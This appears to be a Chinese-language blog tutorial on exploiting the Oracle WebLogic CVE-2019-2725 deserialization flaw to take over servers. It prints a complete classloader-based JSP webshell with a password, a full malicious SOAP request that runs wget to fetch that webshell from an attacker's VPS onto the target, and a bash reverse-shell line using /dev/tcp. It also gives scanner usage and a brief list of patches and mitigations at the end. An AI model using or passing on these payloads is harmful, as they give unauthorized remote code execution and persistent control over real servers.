CVE-2019-2725漏洞复现

本文正在参加「金石计划 . 瓜分6万现金大奖」

前言

在学习内网过程中遇到了weblogic比较常见的漏洞,编号是cve-2019-2725,之前没有总结过,于是本篇文章给大家总结归纳一下该漏洞的利用方法与原理。

基础知识

cve-2019-2725漏洞的核心利用点是weblogic的xmldecoder反序列化漏洞,攻击步骤就是将WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,在未授权的情况下远程执行命令,获得目标服务器的权限。影响版本如下:

Oracle WebLogic Server,版本 10.3.6.0、12.1.3.0

该漏洞经常作为打进内网的漏洞点,还是挺重要的,下面给大家讲解如何利用该漏洞来进行getshell。

利用过程

扫描端口扫描到了7001端口开放,于是我们先访问一下7001端口:

图片.png

可以看到有weblogic的错报信息,说明网站有weblogic服务,于是我们判断有没有该漏洞,当我们访问有weblogic服务网站的时候可以访问以下路径:

_async/AsyncResponseService

发现回显页面如下:

图片.png

发包返回了200,说明存在该漏洞,或者访问:

_async

存在以下页面说明存在漏洞:

图片.png

已经得知存在cve-2019-2725漏洞后,我们便可以开始构造攻击。

我们需要构造一个JSP木马,可以查看下面的例子,木马的连接密码为xino:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("xino");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

写完木马后我们需要将该木马放入我们的出网服务器里,需要注意的是服务器需要拥有web服务,因为之后会用wget命令来下载木马,之后我们查询我们要将木马上传到什么路径上去,访问如下地址:

/_async/AsyncResponseService?info

图片.png

找到了上传路径为:

/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/

之后我们需要构造表单来将木马上传到该路径里,可以参考下面的攻击代码:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget https://vps/xino.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/xino.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

之后我们就可以利用webshell管理工具去进行连接即可,当然这只是一种利用类型,我们还可以直接反弹shell到服务器,需要将string里的内容改为如下代码:

bash -i >& /dev/tcp/target ip/target port 0>&1

当发包后服务器返回下图,可以判断我们攻击成功:

图片.png

漏扫工具

可能有朋友会问,weblogic这么多漏洞要怎样判断属于哪个漏洞呢,这里推荐一个weblogic中间件漏洞扫描工具weblogic-scan,下载链接如下:

https://github.com/dr0op/WeblogicScan

安装依赖:

python -m pip install -r requirements.txt

使用样例:

python WeblogicScan.py -u 127.0.0.1 -p 7001

扫描后发现:

图片.png

可以看到该工具还是十分好用的,可以作为我们渗透时判断漏洞类型的快速方法,有兴趣的小伙伴可以自己下载去试一试。

修复方法

该漏洞的危害是不言而喻的,下面提出几个修复的方法:

1.可以去官方下载该漏洞的补丁包

2.升级JAVA版本到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

3.修改访问控制策略,限制对/_async/及/wls-wsat/路径的访问,这样就上传不了攻击木马了。

4.删除wls9_async_response.war与wls-wsat.war文件及相关数据,因为该漏洞由WAR包的缺陷引起,删除可以缓解,不过需要备份一下。

结语

简单分析了一下cve-2019-2725漏洞的原理以及攻击修复方法,因为之前没有总结所以特地写一个文章总结一下,如果对大家有帮助不妨一键三连支持一下。

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容